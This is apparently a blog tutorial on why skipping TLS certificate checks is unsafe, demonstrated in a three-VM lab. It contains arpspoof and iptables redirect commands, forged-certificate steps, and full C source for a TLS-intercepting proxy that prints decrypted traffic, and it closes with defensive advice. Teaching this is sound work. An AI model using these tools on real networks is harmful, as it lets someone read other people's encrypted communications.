← TLSs

Why not verifying certificates in TLS is bad

• 8 minutes

In this article, we will see why not verifying the validity of a certificate is bad, and how an attacker can abuse this to read everything in the connection if he is in a Man-In-The-Middle position.

You can be forced to not verify a certificate for a variety of reasons, like self-signed certificate, or the certificate is not valid anymore but you have to access the server even though.

The environment

For this demonstration, I will have 3 VMs: 1 server, 1 victim and 1 performing the attack (Man-in-the-middle and TLS proxy).

The server VM is a Debian machine running Apache with mod_ssl and listening on port 443. Its certificate is self-signed and was generated by following this article.

The victim VM is a basic Debian machine with XFCE4 installed and using Firefox as its browser. It will use Firefox to visit the server.

The VM I will use to perform the attack is a Parrot OS machine.

The following table recapitulate each virtual machines' IP and MAC addresses:

VM IP Domain Name
Server 192.168.0.34 server.local
Victim 192.168.0.33
Attacker 192.168.0.46

The web server is only serving 1 file named index.html containing:

Hello!

Attack

The first thing to do as an attacker is to be between the victim and the server in order to have access to the TLS connection.

Man-in-The-Middle

To be in a Man-In-The-Middle position, I will be using arpspoof:

sudo arpspoof -r -t 192.168.0.33 192.168.0.34

Arpspoof running

arpspoof uses the ARP protocol to perform the attack, but how it works is outside the scope of this article. For those that are interested in how it works, here is a Wikipedia article about it.

We can see that the attack is working because in the ARP table of the victim, 192.168.0.46 (the attacker) and 192.168.0.34 (the server) have the same destination MAC address: the MAC address of the attacker.

Arpspoof running

Same thing on the server but instead the attacker and the victim have the same MAC address:

Arpspoof running

Now that we are between the victim and the server and we are receiving every packets going back-and-forth them, we can start to interfere with the TLS connections.

The first step is the TLS proxy.

Proxy

In this demonstration, we will only print to the console the content of the TLS connection going through the proxy.

That’s why I decided to write my own proxy in C using the OpenSSL library.

Certificate

As the proxy uses TLS, it will need a certificate.

This certificate can be any certificate, but one containing the same information as the certificate of the server would be better.

To get the information contained in the server’s certificate, I will be using this command:

openssl s_client -quiet -servername server.local -connect server.local:443

After showing the certificate and its content, this command will act as netcat with TLS. As we don’t need to send any data, you’ll need to CTRL-C.

OpenSSL s_client to the server

Once we have the information, we can generate the certificate:

openssl req -new -out proxy.csr.pem
openssl rsa -in privkey.pem -out proxy.key.pem
openssl x509 -in proxy.csr.pem -out proxy.cert.pem -req -signkey proxy.key.pem

After running the last command, you should see the same information you saw when you ran openssl s_client:

OpenSSL generate proxy’s certificate

Now that we have the certificate, we can jump to the code of the proxy.

Source code

Note that this proxy is single threaded and can handle one connection at a time, furthermore it was not made with speed in mind but ease of use and easy to understand.

// compile with: gcc -o tls_proxy ./tls_proxy.c -lcrypto -lssl -O2
// sudo iptables --table nat --append PREROUTING --protocol tcp --destination-port <server port> --source <victim ip> -j REDIRECT --to-port <ssl_proxy listening port>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define BUF_SIZE_READ_WRITE 2048*2048

int create_socket_client(int port, char* domain);
int create_socket_server(int port);
SSL_CTX* create_server_context();

void proxy_handle(int port, char* domain, SSL* ssl_in, int socket_in) {
  // create connection to the server given in the arguments
  int s = create_socket_client(port, domain);
  const SSL_METHOD *meth = TLS_client_method();
  SSL_CTX *ctx = SSL_CTX_new(meth);
  SSL *ssl_out = SSL_new(ctx);
  if (!ssl_out) {
    fprintf(stderr, "Error creating SSL: ");
    ERR_print_errors_fp(stderr);
    return ;
  }
  SSL_set_fd(ssl_out, s);
  int err = SSL_connect(ssl_out);
  if (err <= 0) {
    fprintf(stderr, "Error connecting with SSL: ");
    ERR_print_errors_fp(stderr);
    return ;
  }

  int flags = fcntl(socket_in, F_GETFL, 0);
  if (fcntl(socket_in, F_SETFL, flags | O_NONBLOCK) || fcntl(s, F_SETFL, flags | O_NONBLOCK)) {
    perror("Unable to set non-blocking");
    close(s);
    close(socket_in);
    exit(EXIT_FAILURE);
  }

  char* res = calloc(BUF_SIZE_READ_WRITE, sizeof (char));
  int nb_bytes_in = 0, nb_bytes_out = 0;
  while (1) {
    nb_bytes_in = SSL_read(ssl_in, res, BUF_SIZE_READ_WRITE);
    if(nb_bytes_in > 0) {
      SSL_write(ssl_out, res, nb_bytes_in);
      printf("========= CLIENT RECEIVED =========\n%s========= CLIENT END =========\n", res);
      memset(res, 0, BUF_SIZE_READ_WRITE);
    } else {
      int err = SSL_get_error(ssl_in, nb_bytes_out);
      if(err == SSL_ERROR_ZERO_RETURN || err == SSL_ERROR_SSL) {
        break;
      }
    }

    nb_bytes_out = SSL_read(ssl_out, res, BUF_SIZE_READ_WRITE);
    if(nb_bytes_out > 0) {
      printf("========= SERVER RECEIVED =========\n%s========= SERVER END =========\n", res);
      SSL_write(ssl_in, res, nb_bytes_out);
      memset(res, 0, BUF_SIZE_READ_WRITE);
    } else {
      int err = SSL_get_error(ssl_in, nb_bytes_out);
      if(err == SSL_ERROR_ZERO_RETURN || err == SSL_ERROR_SSL) {
        break;
      }
    }
  }
  free(res);

  SSL_shutdown(ssl_out);
  SSL_free(ssl_out);
  close(s);
}

int main(int argc, char **argv) {
  if (argc != 4) {
    printf("Usage: %s <listening port> <server port> <server domain>\n", argv[0]);
    return 1;
  }
  SSL_library_init();
  SSLeay_add_ssl_algorithms();
  SSL_load_error_strings();

  int sock_in;
  SSL *ssl_in;
  SSL_CTX *ctx_in;

  ctx_in = create_server_context();

  sock_in = create_socket_server(atoi(argv[1]));

  /* Handle connections */
  while (1) { //just nee one connection
    struct sockaddr_in addr;
    unsigned int len = sizeof(addr);

    puts("Waiting for a connection...");
    int client = accept(sock_in, (struct sockaddr*)&addr, &len);
    if (client < 0) {
      perror("Unable to accept");
      exit(EXIT_FAILURE);
    }

    ssl_in = SSL_new(ctx_in);
    SSL_set_fd(ssl_in, client);

    puts("Waiting for an SSL connection...");
    if (SSL_accept(ssl_in) <= 0) {
      fprintf(stderr, "Unable to accept with SSL: ");
      ERR_print_errors_fp(stderr);
      close(client);
      continue;
    } else {
      puts("Got an SSL connection!");
      proxy_handle(atoi(argv[2]), argv[3], ssl_in, client);
    }

    SSL_shutdown(ssl_in);
    SSL_free(ssl_in);
    close(client);
  }

  close(sock_in);
  SSL_CTX_free(ctx_in);
}

int create_socket_client(int port, char* domain) {
  printf("Connecting to %s:%d\n", domain, port);
  int s;
  struct sockaddr_in addr;
  struct hostent *hostinfo = NULL;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0) {
    perror("Could not create client socket");
    exit(EXIT_FAILURE);
  }

  struct hostent* hostserv = gethostbyname(domain);
  if (hostserv == NULL) {
    herror("Could not get host socket with gethostbyname");
    exit(EXIT_FAILURE);
  }

  memset((char *) &addr, 0, sizeof(addr));
  bcopy((char *)hostserv->h_addr,(char *)&addr.sin_addr.s_addr,hostserv->h_length);
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);

  if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("Unable to connect");
    exit(EXIT_FAILURE);
  }

  return s;
}

int create_socket_server(int port) {
  int s;
  struct sockaddr_in addr;

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = htonl(INADDR_ANY);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0) {
    perror("Unable to create socket");
    exit(EXIT_FAILURE);
  }

  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("Unable to bind");
    exit(EXIT_FAILURE);
  }

  if (listen(s, 1) < 0) {
    perror("Unable to listen");
    close(s);
    exit(EXIT_FAILURE);
  }

  return s;
}

SSL_CTX* create_server_context() {
  const SSL_METHOD *method;
  SSL_CTX *ctx;

  method = TLS_server_method();

  ctx = SSL_CTX_new(method);
  if (!ctx) {
    fprintf(stderr, "Could not create SSL context: ");
    ERR_print_errors_fp(stderr);
    exit(EXIT_FAILURE);
  }

  SSL_CTX_set_mode(ctx, SSL_MODE_AUTO_RETRY );

  /* Set the key and cert */
  if (SSL_CTX_use_certificate_file(ctx, "proxy.cert.pem", SSL_FILETYPE_PEM) <= 0) {
    fprintf(stderr, "Could not read certificate: ");
    ERR_print_errors_fp(stderr);
    exit(EXIT_FAILURE);
  }

  if (SSL_CTX_use_PrivateKey_file(ctx, "proxy.key.pem", SSL_FILETYPE_PEM) <= 0) {
    fprintf(stderr, "Could not private key: ");
    ERR_print_errors_fp(stderr);
    exit(EXIT_FAILURE);
  }

  return ctx;
}

As written at the beginning of the program, you compile this code with:

gcc -o tls_proxy ./tls_proxy.c -lcrypto -lssl -O2

You can use this program like this: ./tls_proxy 5555 443 server.local

Started the proxy

It will listen for TLS connections on the port 5555 and will forward data got from the victim to server.local on port 443.

Now that the proxy is listening, we will have to reroute the TLS traffic to going from the victim to the server to the proxy.

We can use a simple iptables rule to achieve that:

sudo iptables --table nat --append PREROUTING --protocol tcp --destination-port 443 --destination server.local --source 192.168.0.33 -j REDIRECT --to-port 5555

The nat table should look something like this:

Started the proxy

You can get rid of this rule with this command (it will flush the nat table):

sudo iptables --table nat -F

This rule will redirect traffic coming from the victim and going to the server on port 443 to our machine on port 5555 (where the proxy is listening), and, as you can see, this iptables rule uses very narrow filters to be sure to only redirect TLS traffic to the proxy and nothing else.

But you might have seen that we only redirect TLS traffic going to server.local, what about everything else, like ICMP for example ?

They will be dropped.

But we don’t want that because, for example, the victim could use HTTP instead of HTTPS, and its requests won’t be able to reach the server.

So we have to forward them. Fortunately, on Linux, you can easily do that:

sudo sysctl -w net.ipv4.ip_forward=1

Now that everything is set up, we can try as the victim to go to the server and see what happens:

Firefox warning about the certificate

We get some warnings about the certificate, if we accept the risk, we can see that we got the right page:

Hello page on firefox

And we can see that the proxy printed the content of the request and the response:

Proxy printed on the console the content of the request and the response

Conclusion

As you can see, certificates can protect you only if you use them correctly.

I really encourage you to use a certificate authority (CA) and trust the root certificate, this is the best way to block this kind of attack.

Another way of preventing these attacks is by importing the certificate of the server (not the proxy) into the trusted certificates list, this way you will know when the certificate is not the correct one. Note that this technique is similar to using a CA made of this certificate.